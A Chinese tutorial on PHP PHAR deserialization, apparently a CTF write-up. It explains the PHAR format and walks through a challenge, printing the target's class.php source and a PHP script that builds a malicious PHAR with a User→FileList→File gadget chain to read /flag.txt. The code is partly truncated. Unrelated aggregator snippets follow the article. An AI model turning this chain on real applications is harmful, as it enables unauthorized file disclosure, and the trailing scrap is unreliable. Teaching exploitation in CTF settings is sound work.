引文
之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。
前置知识
PHAR
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。
接下来带大家看一下如何构造phar文件:
PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:
php.ini:phar.readonly = Off; #php版本要大于等于5.2
其中php.ini为php的配置文件。
PHAR文件结构
上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:
A stub
phar文件的标志,具体代码为:
注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。
A manifest describing the contents
以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。
The file contents
压缩的文件内容。
signature
签名信息,放在文件末尾。
PHAR文件生成样例
了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:
startBuffering();
$phar->setStub("");
$o = new User();
$o->name = "XINO";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
运行之后结果如下:
成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:
看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:
fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile info_file
实战
学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:
phar文件要能够上传到服务器端
要有可用的魔术方法作为"跳板"
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
下面我们来看一个例题:
进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:
下载源码:index.php,delete.php,download.php,class.php
class.php:
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
delete.php
open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
简单分析一下:
创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件
)。
于是我们尝试写一个生成PHAR文件的脚本:
filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("XINO.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->setStub(""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>
生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。
结语
今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。
以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注脚本之家其它相关文章!
你可能感兴趣的:(PHP开发技巧之PHAR反序列化详解)
《顿悟智慧禅文化》之八
世界和平_众生安康
圣人同心,心灯相传传说中有一天,佛陀在灵山会上,亲手拈花,百万人天者都各自茫然,唯迦叶尊者破颜微笑。世尊乃曰:“吾有正法眼藏,涅槃妙心,实相无相,微妙法门,不立文字,教外别传,付嘱摩诃迦叶。”佛陀于是将法门付嘱大迦叶,“禅”就这样开始传承下来。佛陀曾经谈经三百余会,说法四十九年,三藏十二部经典,浩瀚无涯,无数的文字般若,薪火相传——而禅,微妙法门,教外别传;不立文字者,亦不离文字。往下之后,无论宗
《潜夫论》卷16述赦诗解2圣制刑法威奸惩恶赦非常用因时制宜
琴诗书画
《潜夫论》卷16述赦诗解2圣制刑法威奸惩恶赦非常用因时制宜题文诗:谨慎之民,用天之道,分地之利,择莫犯土,谨身节用,积累纤微,以致小过,质良善民,惟国之基.轻薄恶子,不道凶民,思彼奸邪,起作盗贼,竟以财色,杀人父母,戮人之子,灭人之门,取人之贿,及谄谀官,贪残不轨,凶恶弊吏,掠杀不辜,侵冤小民,小民皆望,圣帝当为,诛恶治冤,以解蓄怨.一门赦之,反令恶人,高会夸诧,老盗服臧,而过门也,孝子见雠,而不
网游之纵横(一)
猫小叮
终于等来了23日,韩雨立刻开始了游戏“您好~”清脆的声音响起请问您的游戏名称一个NPC问“风雪之星”韩雨想了一会儿,说到“好的,风雪之星,请选择外貌”风雪之星在一堆脸中找了十多分钟,选了一个比较大众的脸好的,即将开始游戏……一阵强光闪过,风雪(简称)出现在一座山上他打开地图,顿时傻眼了,地图上仅有的(除了出生地,其他需要玩家探索)两个字“益州”映入眼帘顿时,风雪手舞足蹈,益州,也就是四川,可是出名
“趟着走”还是换种方式
水墨烟岚
如果把家长教育孩子比作走路一种方式,那么“趟着走”也是其中的一种。谁都不知道要翻越一座山峰会遇到什么人、碰到什么事、经过什么样的路,承受什么样的跌倒之痛,甚至会有什么样的狂风暴雨、什么样的断桥低谷。但是人生总要前行,无论是否愿意,不管准备是否充足。“趟着走”,一边低头拉车,一边抬头看路。低头拉车会很累,但再累也得脚踏实地;抬头看路就能看到希望,探视到目标,但得把眼下的事做好。所有的物质享受都会成为
从“父母与子女无恩”一论看亲子关系
给我一杯奶茶我还能学
人与人之间的交集关系,实在复杂。由于自然界生物基因的传承,人类自发地组建并完善了“家庭”这一概念,也正是因为如此,人们才有了内外亲疏之的区分。“内”、“亲”,大多形容的就是血缘关系,更明确点来说,指的是亲子关系。即我们与父母的关系,我们与子女的关系。《中华人民共和国婚姻法》中的第二十一条的规定就写道:父母对子女有抚养教育的义务;子女对父母有赡养扶助的义务。法律描述的亲子关系,意味着人们必须承担起教
刘澔【440】儒家的“劳资关系”,就是劳动模范和最佳雇主的关系2021-10-04
刘澔日日不断
原文樊迟问曰,子曰:“务民之义,敬鬼神而远之,可谓知矣。”问仁,曰:“仁者先难而后获,可谓仁矣。”华杉详解樊迟,是孔子的弟子,又是师兄冉求的部下。冉求在季氏做家宰,他在冉求手下任职。孔子回到鲁国后,他靠这层关系,拜孔子为师。进入师门比较晚,求知心切,但学问不高。所以他的问题,孔子很少有抽象概括的理论性回答,都是很具体的,有针对性地说某一条给他听。“樊迟问知”,问老师,什么是知,什么是智慧。题目很大
2021-01-15
我叫Lavie
她和男朋友交往一年多,中间经历过分分合合,最近有了肌肤之亲,可是矛盾依然很多。她的男朋友,和多数男孩子一样吧不喜欢表达。这朋友找我沟通有1个多月了吧,对我来说感觉就像是心理咨询师工作一样,一开始她经常找我,后面每周一次的频率,每次我都会和她聊很多,几乎都是一小时,有时甚至更多。今天她终于试着表达了对男朋友的理解,试着猜测男朋友童年的家庭遭遇,以此来表示对男朋友得理解,今天终于他的男朋友有了内心的交
天时和地利一一《孙子兵法》之五计对教育的启示(二)
旭日老师
昨天讲了《孙子兵法》五计中前两句名言对教育的启示,今天继续讲讲后面的天时地利两句名言对教育的启示。一、天者,阴阳,寒暑、时制也。它的意思是:所谓天时,是指用兵时的昼夜、晴雨,严寒、酷热,春夏秋冬等气候情况。这几个因素对行军打仗,用兵作战的影响是非常明显的,对于我们教育的影响,就很少去认真思考它。其实他对我们教育的其实也是非常大的:比如说昼夜不同时间对人的记忆力的影响。阅读毛主席的传记,就知道毛主席
Android OkHttp使用和源码详解,flutter跳转到appstore
m0_64603743
程序员 面试 android 移动开发
.cache(cache);//设置缓存Requestrequest=newRequest.Builder().url(url).build();builder.build().newCall(request).enqueue(newCallback(){@OverridepublicvoidonFailure(Callcall,IOExceptione){}@Overridepublicvoid
再不学画就老了,2019百幅图之小雏菊
枫树林Fany
心素如简,人淡如菊图片发自App彩铅:得力72色油性彩铅纸张:普通A5素描纸图片发自App图片发自App图片发自App图片发自App图片发自App
立秋之末
钟小飒
这个夜晚在立秋之末,两分钟以后就是中秋(在我写完以后肯定已经是中秋了),而我思绪万千,陷入中年焦虑的日常,我焦虑的是他人眼里的“关我屁事”,前两天跟丁老师聊天,感慨于童年时的很多共同拥有的记忆,感慨于我们究竟是怎么样的人,最终得出结论:我们都有那么点自命清高,看不上很多人很多事,但是实际上那些让我们看不上的可能是我们做不到的,比如八面玲珑,比如笑脸迎春,坦率的说,其实这真的也是一种能力,只不过别人
高效对接全球车企:知行之桥满足科伯舒特Kromberg & Schubert EDI核心需求
科博舒特(Kromberg&Schubert,K&S)是德国顶尖的汽车线束系统供应商,服务于全球各大知名车企。作为其供应商,满足K&S严苛的EDI要求是实现高效合作、进入其全球供应链的关键环节。知行之桥EDI系统专为应对此类挑战设计,本文将详细解析K&S的核心EDI需求,并展示知行之桥如何提供稳定、高效、自动化的对接方案,助力供应商轻松达标。Kromberg&SchubertEDI项目目标与K&S
带你读书之“红宝书”:第三章 语法基础(中)之 数据类型前部分
前端不许笑
「这是我参与2022首次更文挑战的第5天,活动详情查看:2022首次更文挑战」写在前头大多数小伙伴看技术书籍都会用“啃”来描述读书的直观感受,当然我也是一个前端小白,白的透明那种,但是我在读技术书籍感觉到“啃”的时候,我希望把我啃红宝书第四版的过程的想法,总结带给大家,以供后来者能够更快上手。注:本文由于作者水平原因,如有错误之处,恳请大家指正,另外随着学习的深入,体会的加深,我会不断回来更新,修
公益绘本阅读之八—《做最勇敢的自己》
坚持很难
今天选择的书是英国妮古拉•金尼尔的《做最勇敢的自己》,一只对外面很害怕,最爱宅家的兔子洛根为了寻找好朋友、搭救好朋友露娜,让自己变得勇敢。在我看来,这本书的亮点是画面,封面上明明写着“做最勇敢的自己”,而画着“怯懦的洛根”——竖起耳朵、瞪大眼睛、惊恐万分的样子。明明说是“可怕的外面”,画面却是“鸟语花香、五彩缤纷、一派祥和”……画面更让人对故事充满了好奇。课前,以“勇敢”为题,聊聊觉得自己最勇敢的
Delphi EDI 需求分析与对接指南
德尔福科技(DelphiTechnologies)是全球领先的汽车零部件及系统顶级供应商之一,尤其在动力总成和电子电气技术领域实力雄厚。如今,德尔福科技专注于燃油喷射系统、电气化解决方案、售后市场部件等。本文将主要介绍Delphi的EDI需求以及如何基于知行之桥EDI系统实现与Delphi的EDI对接。DelphiEDI需求分析成功对接DelphiEDI,供应商必须满足以下核心目标,这些正是知行之
LeetCode-179-最大数
刻苦驴哝
给定一组非负整数nums,重新排列它们每个数字的顺序(每个数字不可拆分)使之组成一个最大的整数。注意:输出结果可能非常大,所以你需要返回一个字符串而不是整数。示例1:输入:nums=[10,2]输出:"210"示例2:输入:nums=[3,30,34,5,9]输出:"9534330"来源:力扣(LeetCode)链接:https://leetcode-cn.com/problems/largest
周勇//4.12清明八日//鹧鸪天·中国十大镇国之宝之太阳神鸟金饰//清明·春景·春意(八)
高山流水无情剑
题记:商周太阳神鸟金饰为商周时期的金器。2001年出土于金沙村,现收藏于成都金沙遗址博物馆。其呈圆形,器身极薄。图案采用镂空方式表现,分内外两层。内层为一圆圈,周围等距分布有十二条旋转的齿状光芒;外层图案围绕在内层图案周围,由四只相同的逆时针飞行的鸟组成。“太阳神鸟”金箔的含金量高达94.2%,是用自然砂金加工而成。经过考古学者的分析三千年前的古蜀国人,将太阳作为崇拜的对象,而太阳的化身就是太阳神
【C++强基篇】学习C++就看这篇--->STL之vector使用及实现
HABuo
C++入门到精通 c++ c语言 开发语言 后端 学习
主页:HABUO主页:HABUOC++入门到精通专栏如果再也不能见到你,祝你早安,午安,晚安目录一、vector的介绍二、vector的使用✨2.1vector的定义✨2.2vectoriterator(迭代器)的使用✨2.3vector空间增长问题✨2.4vector修改✨2.5迭代器失效问题三、vector的简单模拟实现四、总结前言:上篇博客我们了解了STL中的string类,本篇博客我们继续
中华上下5000年之开元盛世
随言随语_4989
好词:果断,勇敢,统治,经济,形容好段:为了改变当时的奢侈之风,玄宗下诏将皇帝服务的金银器销毁,重新造成有用的物品,交给国家使用,把朱玉锦绣在殿前焚毁,规定后妃以下不准穿锦绣朱玉。在玄宗的倡导下,节俭成了时尚。感悟:玄宗序位后的一系列改革,使政治清明,百姓富庶,国力强盛,社会繁荣,昌盛,唐朝达到了全胜的时期。
成都,最快乐的就是你——孙兆琪游蜀都图说(三)
远心笃行
杜甫草堂成都杜甫草堂博物馆杜甫草堂,全国重点文物保护单位,国家AAAA级旅游景区,国家一级博物馆,全国古籍重点保护单位。杜甫草堂坐落成都市西门外的浣花溪畔,是中国唐代大诗人杜甫流寓成都时的故居。杜甫先后在此居住近四年,创作诗歌240余首。唐末诗人韦庄寻得草堂遗址,重结茅屋,使之得以保存,宋元明清历代都有修葺扩建。今天的草堂占地面积近300亩,仍完整保留着明弘治十三年(公元1500年)和清嘉庆十六年
寻找稳之路(8)
其然所以然
刘斌焦点网络四期驻马店坚持分享第303天面对来访者,咨询师能稳住就体现在能以探问引导提升当事人改变意愿与动机。首先可以引导当事人回想例外的美好与优势,产生再次行动的动力。引导当事人看到自己是有自我控制力,并促使其自我负责。这些切入点有时还能找到当事人在乎的人、事、物。对于当事人来说,没有让情况更糟就已经花费他们很多的能量与力气了,所以可以采用一种当事人正在储备与酝酿足以改变的能量之眼光来引导这些当
随笔:读庄子 之 何为定?
狗家的猫
晨起焚香微坐烧水取茶八年白茶入紫砂,焖泡,坐定翻开《庄子内篇.德充符》“常季曰:“彼为己以其知,得其心以其心。得其常心,物何为最之哉?”仲尼曰:“人莫鉴于流水而鉴于止水,唯止能止众止。受命于地,唯松柏独也正,在冬夏青青;受命于天,唯舜独也正,幸能正生,以正众生。夫保始之征,不惧之实;勇士一人,雄入于九军。将求名而能自要者,而犹若是,而况官天地,府万物,直寓六骸,象耳目,一知之所知,而心未尝死者乎!
《了凡四训》初鉴 其四
南川子
引:汝之命,未知若何。即命當榮顯,常作落寞想;即時當順利,常作拂逆想;即眼前足食,常作貧窶想;即人相愛敬,常作恐懼想;即家世望重,常作卑下想;即學問頗優,常作淺陋想。南川子曰:此是教人戒骄戒傲也。骄傲者,人之大患也。自古多少英雄豪杰,毁于一傲字。傲则轻人,轻人则失察,失察则取败也。故古人常要人自谦,此非虚言。自谦可明心明目。心明目明,故能立于不败之地。引:遠思揚祖宗之德,近思蓋父母之愆;上思報國之
观唐习律107|暮雨千家薜荔村,谭用之是宋人还是唐人
老街味道
前言谭用之,字藏用,生卒年里贯均未详,游踪遍关中、河洛、潇湘等地。。他生活的时代大约在五代及北宋初期。明朝胡震亨说谭用之是宋人,清代黄生说他是晚唐人。胡元瑞谓谭为宋人,《鼓吹》误收。予谓此君果系宋人,宋朝诸公诗话曾未及之,且声调自属晚唐,与宋诗气味有别,其为唐人无疑也。《唐诗摘钞》一、赠索处士不将桂子种诸天,长得寻君水石边。玄豹夜寒和雾隐,骊龙春暖抱珠眠。山中宰相陶弘景,洞里真人葛稚川。一度相思一
道德经原成·德经五一章·奠道贵德篇
随便阁主
德经五一章·奠道贵德篇此文章为非儒家思想的道德经专研文章,强调专业性,不具备娱乐性,观者慎入!一、原文:道生之而德畜之,物形之而器成之,是以万物尊道而贵德。道之尊也,德之贵也,夫莫之爵也,而恒自然也。故道,生之,畜之。长之,遂之。亭之,毒之。养之,復之。生而弗有也,为而弗志也,长而弗宰也。是谓玄德。二、译文:道衍生万物而德约束万物,万物复现外观形制而能成就器物,所以万物都尊崇道而重视德。道所以受到
坚持发布的意义
戴之易
我在想持之以恒观察我的人每天不会细看我的圈不会细看我的内容但她们都有个印象这个憨女生风雨无改且持之以恒的努力着跟这样的人买任何东西不会怕我收了钱玩消失跟这样的人一起创业不怕我单删她甚至拉黑他跟这样的人一起努力不怕我消极且唠叨她这就是我每天发圈的意义――郭丹峰(小甜甜不拦你/戴之易)
【机器学习】必会降维算法之:独立成分分析(ICA)
Carl_奕然
机器学习 算法 人工智能
独立成分分析(ICA)1、引言2、独立成分分析(ICA)2.0引言2.1定义2.2应用场景2.3核心原理2.4实现方式2.5算法公式2.6代码示例3、总结1、引言小屌丝:鱼哥,最近胡塞武装很哇塞啊。小鱼:你什么时候开始关注军事了?小屌丝:这…还用关注吗?都上新闻了。小鱼:嗯,那你知道胡塞武装为什么这么厉害吗?小屌丝:额…当然是光脚不怕穿鞋的。小鱼:…你可真是…小屌丝:真是啥?小鱼:一个字,自己体会
MATLAB最优滤波器设计函数firpm的使用详解
codersnote
编程小识 matlab 算法 最优滤波器 firpm kaiserord
窗函数法设计的缺点无法选择过渡带、通带、阻带衰减等指标阶数不是最优的凯塞窗[n,wn,beta,ftype]=kaiserord(f,a,dev);h_kaiser=fir1(n,wn
IDP-L5-学习心得
swag_ae02
进入进阶课,我们的好朋友林菠萝也开启了职业生涯的新的阶段。在回顾她的成长经历时,她有一句话让我印象特别深刻,“我要给工作赋予意义。”而在这当中牵扯到的一个概念就是内驱目标。与之相对应的就是外驱目标。自我决定理论当中提到过我们做一件事情是因为我们自己想做,而不是被迫或者受到强迫而不得不做。因为我们想,我们就会有更强的目标认同感,更敏捷的行动,这样,我们才能实现真正的改变。当我们突然收到上级的紧急任务
ICT模拟零件测试方法--测量参数详解
可可南木
ICT(In Circuit Tester)在线测试 测试工具 开发语言 pcb工艺
ICT模拟零件测试方法–测量参数详解文章目录ICT模拟零件测试方法--测量参数详解测量参数调整幅值ASRU范围ASRU加速电压合规电容补偿检测器等待额外数字增强频率电流变化电流合规直流电流直流偏移反向并联电容合格/不合格并联模型SenseASenseBSenseL串联模型等待宽带测量参数在调试的时候,选择不同的参数可以达到我们对稳定性的要求,选择不同的参数是好是坏,我们可以通过CPK的高低进行验证
LeetCode[位运算] - #137 Single Number II
Cwind
java Algorithm LeetCode 题解 位运算
原题链接:#137 Single Number II
要求:
给定一个整型数组,其中除了一个元素之外,每个元素都出现三次。找出这个元素
注意:算法的时间复杂度应为O(n),最好不使用额外的内存空间
难度:中等
分析:
与#136类似,都是考察位运算。不过出现两次的可以使用异或运算的特性 n XOR n = 0, n XOR 0 = n,即某一
《JavaScript语言精粹》笔记
aijuans
JavaScript
0、JavaScript的简单数据类型包括数字、字符创、布尔值(true/false)、null和undefined值,其它值都是对象。
1、JavaScript只有一个数字类型,它在内部被表示为64位的浮点数。没有分离出整数,所以1和1.0的值相同。
2、NaN是一个数值,表示一个不能产生正常结果的运算结果。NaN不等于任何值,包括它本身。可以用函数isNaN(number)检测NaN,但是
你应该更新的Java知识之常用程序库
Kai_Ge
java
在很多人眼中,Java 已经是一门垂垂老矣的语言,但并不妨碍 Java 世界依然在前进。如果你曾离开 Java,云游于其它世界,或是每日只在遗留代码中挣扎,或许是时候抬起头,看看老 Java 中的新东西。
Guava
Guava[gwɑ:və],一句话,只要你做Java项目,就应该用Guava(Github)。
guava 是 Google 出品的一套 Java 核心库,在我看来,它甚至应该
HttpClient
120153216
httpclient
/**
* 可以传对象的请求转发,对象已流形式放入HTTP中
*/
public static Object doPost(Map<String,Object> parmMap,String url)
{
Object object = null;
HttpClient hc = new HttpClient();
String fullURL
Django model字段类型清单
2002wmj
django
Django 通过 models 实现数据库的创建、修改、删除等操作,本文为模型中一般常用的类型的清单,便于查询和使用: AutoField:一个自动递增的整型字段,添加记录时它会自动增长。你通常不需要直接使用这个字段;如果你不指定主键的话,系统会自动添加一个主键字段到你的model。(参阅自动主键字段) BooleanField:布尔字段,管理工具里会自动将其描述为checkbox。 Cha
在SQLSERVER中查找消耗CPU最多的SQL
357029540
SQL Server
返回消耗CPU数目最多的10条语句
SELECT TOP 10
total_worker_time/execution_count AS avg_cpu_cost, plan_handle,
execution_count,
(SELECT SUBSTRING(text, statement_start_of
Myeclipse项目无法部署,Undefined exploded archive location
7454103
eclipse MyEclipse
做个备忘!
错误信息为:
Undefined exploded archive location
原因:
在工程转移过程中,导致工程的配置文件出错;
解决方法:
 
GMT时间格式转换
adminjun
GMT 时间转换
普通的时间转换问题我这里就不再罗嗦了,我想大家应该都会那种低级的转换问题吧,现在我向大家总结一下如何转换GMT时间格式,这种格式的转换方法网上还不是很多,所以有必要总结一下,也算给有需要的朋友一个小小的帮助啦。
1、可以使用
SimpleDateFormat SimpleDateFormat
EEE-三位星期
d-天
MMM-月
yyyy-四位年
Oracle数据库新装连接串问题
aijuans
oracle数据库
割接新装了数据库,客户端登陆无问题,apache/cgi-bin程序有问题,sqlnet.log日志如下:
Fatal NI connect error 12170.
VERSION INFORMATION: TNS for Linux: Version 10.2.0.4.0 - Product
回顾java数组复制
ayaoxinchao
java 数组
在写这篇文章之前,也看了一些别人写的,基本上都是大同小异。文章是对java数组复制基础知识的回顾,算是作为学习笔记,供以后自己翻阅。首先,简单想一下这个问题:为什么要复制数组?我的个人理解:在我们在利用一个数组时,在每一次使用,我们都希望它的值是初始值。这时我们就要对数组进行复制,以达到原始数组值的安全性。java数组复制大致分为3种方式:①for循环方式 ②clone方式 ③arrayCopy方
java web会话监听并使用spring注入
bewithme
Java Web
在java web应用中,当你想在建立会话或移除会话时,让系统做某些事情,比如说,统计在线用户,每当有用户登录时,或退出时,那么可以用下面这个监听器来监听。
import java.util.ArrayList;
import java.ut
NoSQL数据库之Redis数据库管理(Redis的常用命令及高级应用)
bijian1013
redis 数据库 NoSQL
一 .Redis常用命令
Redis提供了丰富的命令对数据库和各种数据库类型进行操作,这些命令可以在Linux终端使用。
a.键值相关命令
b.服务器相关命令
1.键值相关命令
&
java枚举序列化问题
bingyingao
java 枚举 序列化
对象在网络中传输离不开序列化和反序列化。而如果序列化的对象中有枚举值就要特别注意一些发布兼容问题:
1.加一个枚举值
新机器代码读分布式缓存中老对象,没有问题,不会抛异常。
老机器代码读分布式缓存中新对像,反序列化会中断,所以在所有机器发布完成之前要避免出现新对象,或者提前让老机器拥有新增枚举的jar。
2.删一个枚举值
新机器代码读分布式缓存中老对象,反序列
【Spark七十八】Spark Kyro序列化
bit1129
spark
当使用SparkContext的saveAsObjectFile方法将对象序列化到文件,以及通过objectFile方法将对象从文件反序列出来的时候,Spark默认使用Java的序列化以及反序列化机制,通常情况下,这种序列化机制是很低效的,Spark支持使用Kyro作为对象的序列化和反序列化机制,序列化的速度比java更快,但是使用Kyro时要注意,Kyro目前还是有些bug。
Spark
Hybridizing OO and Functional Design
bookjovi
erlang haskell
推荐博文:
Tell Above, and Ask Below - Hybridizing OO and Functional Design
文章中把OO和FP讲的深入透彻,里面把smalltalk和haskell作为典型的两种编程范式代表语言,此点本人极为同意,smalltalk可以说是最能体现OO设计的面向对象语言,smalltalk的作者Alan kay也是OO的最早先驱,
Java-Collections Framework学习与总结-HashMap
BrokenDreams
Collections
开发中常常会用到这样一种数据结构,根据一个关键字,找到所需的信息。这个过程有点像查字典,拿到一个key,去字典表中查找对应的value。Java1.0版本提供了这样的类java.util.Dictionary(抽象类),基本上支持字典表的操作。后来引入了Map接口,更好的描述的这种数据结构。
&nb
读《研磨设计模式》-代码笔记-职责链模式-Chain Of Responsibility
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/**
* 业务逻辑:项目经理只能处理500以下的费用申请,部门经理是1000,总经理不设限。简单起见,只同意“Tom”的申请
* bylijinnan
*/
abstract class Handler {
/*
Android中启动外部程序
cherishLC
android
1、启动外部程序
引用自:
http://blog.csdn.net/linxcool/article/details/7692374
//方法一
Intent intent=new Intent();
//包名 包名+类名(全路径)
intent.setClassName("com.linxcool", "com.linxcool.PlaneActi
summary_keep_rate
coollyj
SUM
BEGIN
/*DECLARE minDate varchar(20) ;
DECLARE maxDate varchar(20) ;*/
DECLARE stkDate varchar(20) ;
DECLARE done int default -1;
/* 游标中 注册服务器地址 */
DE
hadoop hdfs 添加数据目录出错
daizj
hadoop hdfs 扩容
由于原来配置的hadoop data目录快要用满了,故准备修改配置文件增加数据目录,以便扩容,但由于疏忽,把core-site.xml, hdfs-site.xml配置文件dfs.datanode.data.dir 配置项增加了配置目录,但未创建实际目录,重启datanode服务时,报如下错误:
2014-11-18 08:51:39,128 WARN org.apache.hadoop.h
grep 目录级联查找
dongwei_6688
grep
在Mac或者Linux下使用grep进行文件内容查找时,如果给定的目标搜索路径是当前目录,那么它默认只搜索当前目录下的文件,而不会搜索其下面子目录中的文件内容,如果想级联搜索下级目录,需要使用一个“-r”参数:
grep -n -r "GET" .
上面的命令将会找出当前目录“.”及当前目录中所有下级目录
yii 修改模块使用的布局文件
dcj3sjt126com
yii layouts
方法一:yii模块默认使用系统当前的主题布局文件,如果在主配置文件中配置了主题比如: 'theme'=>'mythm', 那么yii的模块就使用 protected/themes/mythm/views/layouts 下的布局文件; 如果未配置主题,那么 yii的模块就使用 protected/views/layouts 下的布局文件, 总之默认不是使用自身目录 pr
设计模式之单例模式
come_for_dream
设计模式 单例模式 懒汉式饿汉式 双重检验锁失败 无序写入
今天该来的面试还没来,这个店估计不会来电话了,安静下来写写博客也不错,没事翻了翻小易哥的博客甚至与大牛们之间的差距,基础知识不扎实建起来的楼再高也只能是危楼罢了,陈下心回归基础把以前学过的东西总结一下。
*********************************
8、数组
豆豆咖啡
二维数组 数组 一维数组
一、概念
数组是同一种类型数据的集合。其实数组就是一个容器。
二、好处
可以自动给数组中的元素从0开始编号,方便操作这些元素
三、格式
//一维数组
1,元素类型[] 变量名 = new 元素类型[元素的个数]
int[] arr =
Decode Ways
hcx2013
decode
A message containing letters from A-Z is being encoded to numbers using the following mapping:
'A' -> 1
'B' -> 2
...
'Z' -> 26
Given an encoded message containing digits, det
Spring4.1新特性——异步调度和事件机制的异常处理
jinnianshilongnian
spring 4.1
目录
Spring4.1新特性——综述
Spring4.1新特性——Spring核心部分及其他
Spring4.1新特性——Spring缓存框架增强
Spring4.1新特性——异步调用和事件机制的异常处理
Spring4.1新特性——数据库集成测试脚本初始化
Spring4.1新特性——Spring MVC增强
Spring4.1新特性——页面自动化测试框架Spring MVC T
squid3(高命中率)缓存服务器配置
liyonghui160com
系统:centos 5.x
需要的软件:squid-3.0.STABLE25.tar.gz
1.下载squid
wget http://www.squid-cache.org/Versions/v3/3.0/squid-3.0.STABLE25.tar.gz
tar zxf squid-3.0.STABLE25.tar.gz &&
避免Java应用中NullPointerException的技巧和最佳实践
pda158
java
1) 从已知的String对象中调用equals()和equalsIgnoreCase()方法,而非未知对象。 总是从已知的非空String对象中调用equals()方法。因为equals()方法是对称的,调用a.equals(b)和调用b.equals(a)是完全相同的,这也是为什么程序员对于对象a和b这么不上心。如果调用者是空指针,这种调用可能导致一个空指针异常
Object unk
如何在Swift语言中创建http请求
shoothao
http swift
概述:本文通过实例从同步和异步两种方式上回答了”如何在Swift语言中创建http请求“的问题。
